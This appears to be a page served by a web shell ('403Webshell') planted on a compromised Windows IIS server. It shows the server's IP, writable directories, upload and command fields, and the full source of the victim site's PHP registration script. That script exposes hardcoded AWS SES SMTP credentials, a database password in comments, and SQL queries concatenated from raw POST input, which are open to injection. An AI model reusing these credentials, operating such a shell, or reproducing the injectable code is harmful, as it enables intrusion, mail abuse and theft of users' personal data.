403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/247sms.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/247sms.com/wwwroot/verifyreg - Copy.php
<?php


//These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
include "general.php";
include "connect.php";
require 'vendor/autoload.php';
$noreplyto = "noreply@247sms.com";

//include 'newsendmail.php';
function mailtoclient ($clientEmail,$mess1,$mess2,$subj,$mfrom,$mfromname,$noreplyto){
    //echo 'nosa';
    $mail = new PHPMailer(true);

try {
    //Server settings
   // $mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
    $mail->isSMTP();                                            //Send using SMTP
    $mail->Host       = 'email-smtp.us-east-1.amazonaws.com';                     //Set the SMTP server to send through
    $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
    $mail->Username   = 'AKIAUW4RAPR3HBRDPAED';                     //SMTP username
    $mail->Password   = 'BOwfFxC25Q6GoghaUYOWoK/Y1mr0LKpZ6l7DUXnzdCYO';                               //SMTP password
    //$mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
    $mail->Port       = 587;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

    //Recipients
    $mail->setFrom($mfrom, $mfromname);
    //$mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
    $mail->addAddress($clientEmail);               //Name is optional
    $mail->addReplyTo($noreplyto, $mfromname);
    //$mail->addCC('cc@example.com');
    //$mail->addBCC('bcc@example.com');

   
    //Content
    $mail->isHTML(true);                                  //Set email format to HTML
    $mail->Subject = $subj;
    $mail->Body    = $mess1;
    $mail->AltBody = $mess1;

    $mail->send();
    echo 'Message has been sent';
} catch (Exception $e) {
    echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
}

}

//include "general.php";
//include "connect.php";
///include 'sendmailclient.php';

function rand_string( $length ) {
		$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";	
		
		$size = strlen( $chars );
		for( $i = 0; $i < $length; $i++ ) {
			$str .= $chars[ rand( 0, $size - 1 ) ];
		}
		
		return $str;
	}
	

function rand_string2( $length ) {
		$chars = "0123456789";	
		
		$size = strlen( $chars );
		for( $i = 0; $i < $length; $i++ ) {
			$str .= $chars[ rand( 0, $size - 1 ) ];
		}
		
		return $str;
	}
	

function getUsername( $musername,$domain)
{
 include "connect.php";
 $cnt ="";
// $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 //if (mysqli_connect_errno())
   //{
   // echo mysqli_error($con);
   //echo "-1";
  // die();
  // }
 $query ="select * from userlogin where username='". $musername ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
  var_dump( mysqli_error($con));
  //echo "me";
   mysqli_close($con);
   exit();
}

$cnt= "";
while($row = mysqli_fetch_array($result))
{
	//$cnt = $row['balairtime'];
	$cnt="yes";
	//echo "nosa";
}

//echo $cnt."kate";
mysqli_close($con);
return $cnt;
}			



function getPhone( $phonenumber,$domain)
{
include "connect.php";
 $cnt ="";
// $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 //if (mysqli_connect_errno())
   //{
   // echo mysqli_error($con);
   //echo "-1";
  // die();
  // }
 $query ="select * from userlogin where phonenumber='". $phonenumber ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   exit();
}

$cnt= "";
while($row = mysqli_fetch_array($result))
{
	//$cnt = $row['balairtime'];
	$cnt="yes";
}

//echo $cnt;
mysqli_close($con);
return $cnt;
}			





function getEmail( $memail,$domain)
{
 $cnt ="";
 include "connect.php";
 //$con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 //if (mysqli_connect_errno())
   //{
   // echo mysqli_error($con);
   //echo "-1";
  // die();
  // }
 $query ="select * from userlogin where email='". $memail ."' and domain='". $domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   exit();
}

$cnt= "";
while($row = mysqli_fetch_array($result))
{
	//$cnt = $row['balairtime'];
	$cnt="yes";
}

//echo $cnt;
mysqli_close($con);
return $cnt;
}			








//**************************
//**************************
// end of function


//$_SESSION['accounttype']="euro";
 
// if ($_SESSION['accounttype'] == "" ){
 
  //header('Location: register.php?err=1');
  // die();
// }


 $username =$_POST["username"];   
 //echo $username ."<br>";
 $pass =$_POST["password"];   
 //echo $pass."<br>";
 
 $email =$_POST["email"];   
 //echo $email."<br>";
 $phonenumber =$_POST["phone"];   
 //echo $phonenumber."<br>";
 
 $address =$_POST["address"];   
 //echo $address."<br>";
$fullname =$_POST["fullname"];   
 //echo $fullname."<br>";		      
$birthday =$_POST["birthday"];   
 //echo $birthday."<br>";
 $birthmonth =$_POST["birthmonth"];   
 //echo $birthmonth."<br>";
 $birthyear =$_POST["birthyear"];   
 //echo $birthyear."<br>";
 $state =$_POST["state"];   
 //echo $state."<br>";
 $country =$_POST["country"];   
 echo $country."<br>";
$referrer =$_POST["referrer"];   
$accounttype =$_POST["currency"];   
// echo $referrer."<br>";
 
 
 
 //********************
 
 $_SESSION['username'] =$_POST["username"];   
 $_SESSION['password'] =$_POST["password"];   
 $_SESSION['email'] =$_POST["email"];   
 $_SESSION['phone'] =$_POST["phone"];   
 $_SESSION['address'] =$_POST["address"];   
 $_SESSION['fullname'] =$_POST["fullname"];        
$_SESSION['birthday'] =$_POST["birthday"];   
 $_SESSION['birthmonth'] =$_POST["birthmonth"];   
$_SESSION['birthyear'] =$_POST["birthyear"];  
 $_SESSION['state'] =$_POST["state"];   
$_SESSION['country'] =$_POST["country"];   
$_SESSION['referrer'] =$_POST["referrer"];   
$_SESSION['accounttype']=$accounttype;



date_default_timezone_set('Europe/London'); 

if ($username =="" || $pass =="" || $email == "" || $phonenumber ==""|| $address ==""){

     header('Location: register.php?err=2');
   die();
}

if (strlen($username) < 3){
     header('Location: register.php?err=3');
   die();
}

if (strlen($username) > 40){
     //header('Location: register.php?err=3');
   die();
}

if (strlen($pass) < 6){
     header('Location: register.php?err=4');
   die();
}

 if (!preg_match("/([\w\-]+\@[\w\-]+\.[\w\-]+)/", $email)) {
        header('Location: register.php?err=5');
   die();
   }

if (strlen($phonenumber) < 7){
     header('Location: register.php?err=6');
   die();
}

if (strlen($address) < 10){
     header('Location: register.php?err=7');
   die();
}

if ($country=="NG")
{
   
  //phone number with +2340

if (substr($phonenumber,0,5) == "+2340"){
  if (strlen($phonenumber) != 15){
     header('Location: newuser.php?err=2');
     die();
  }else
  {

       $phonenumber= "234".substr($phonenumber,5,10);
      // echo $phonenumber;
  }
}


 //phone number with 2340

 if (substr($phonenumber,0,4) == "2340"){
  if (strlen($phonenumber) != 14){
  
     header('Location: newuser.php?err=2');
     die();
  }else
  {

       $phonenumber= "234".substr($phonenumber,4,10);
      // echo $phonenumber;
  }
}


 //phone number with 234

 if (substr($phonenumber,0,3) == "234"){
  if (strlen($phonenumber) != 13){
     header('Location: newuser.php?err=2');
     die();
  }

}


 //phone number with a leading zero

 if (substr($phonenumber,0,1) == "0"){
     if (strlen($phonenumber) != 11){
       header('Location: newuser.php?err=2');
        die();
      }else{
        $phonenumber= "234".substr($phonenumber,1,10);
        //echo $phonenumber;
      }
 }



 //phone number with a leading plus

 if (substr($phonenumber,0,1) == "+"){
  if (strlen($phonenumber) != 14){
     header('Location: newuser.php?err=2');
     die();
   }else{

        if (substr($phonenumber,1,3) != "234"){
          header('Location: newuser.php?err=2');
         
          die();
        }
        else
        {
              $phonenumber= substr($phonenumber,1,13);
              //echo $phonenumber;
         }
   }
}

   
}

echo substr($phonenumber,0,3);
//echo "James";
//drop users not from Nigeria

 if (substr($phonenumber,0,3) != "234"){
        
         
          die();
 }






//echo  $phonenumber;

//check if username already exists
$response =getUsername($username,$domain);

if ($response=="yes")
{
     header('Location: register.php?err=10');
   die();
}


//check if email already exists
$response =getEmail($email,$domain);
if ($response=="yes")
{
     header('Location: register.php?err=11');
   die();
}



//check if phonenumber already exists
$response =getPhone($phonenumber,$domain);
if ($response=="yes")
{
     header('Location: register.php?err=12');
   die();
}


//get smscode

$smscode =rand_string2(6);
$emailcode =rand_string(6);

//send sms client

$transID= generateTransID();


$mess ="Dear ". $username ." use the sms_OTP:   ". $smscode . "   to complete your registration";
$mtype ="1";
//$response = sendSMS( $username,$phonenumber, $transID, $domain,$mess,$sender,$mtype);

$response ="0";

if ($response=="0" ){ 




$mysub = "Registration Verification Code from " . $domain;
$myMessage ="Dear <b>". $username. "</b>,<br><br>";
$myMessage .= "Below is the Email Code to complete your Registration<br><br>"; 
$myMessage .= "Email Code : <b>" . $emailcode . "</b><br><br>";
$myMessage .= "Thanks for your interest in our service. " . "<br>";
$myMessage .= "<b>Support " . $domain."</b>";

$mysub = "Registration Verification Code from " . $domain;
$myMessage2 ="Dear ". $username. ",\n\n";
$myMessage2 .= "Below is the Email Code to complete your Registration\n\n"; 
$myMessage2 .= "Email Code : " . $emailcode . "\n\n";
$myMessage2 .= "Thanks for your interest in our service. " . "\n";
$myMessage2 .= "Support " . $domain;
echo $mymail."enough";
//$mymail = sendmailtoclient($email,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);
$mymail = mailtoclient($email,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname,$noreplyto);

echo $mymail."moses";

$query ="INSERT INTO Enquiry (username,phonenumber, email,smscode,emailcode,domain, dateused)  VALUES ('". $username."','". $phonenumber ."','". $email."','". $smscode . "','".$emailcode."','". $domain. "','". date('Y-m-d H:i:s')."')";
echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  
echo $email."<br>";
echo $mfrom;
echo $mfromname;

 header('Location: register.php?err=1');
  mysqli_close($con);
  die();
}





  $_SESSION['emailcode'] =$emailcode;   
  //$_SESSION['smscode'] =$smscode; 
  header('Location: registerfinal.php');
  die();
}
else
{
   header('Location: register.php?err=13');
   die();
}


 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit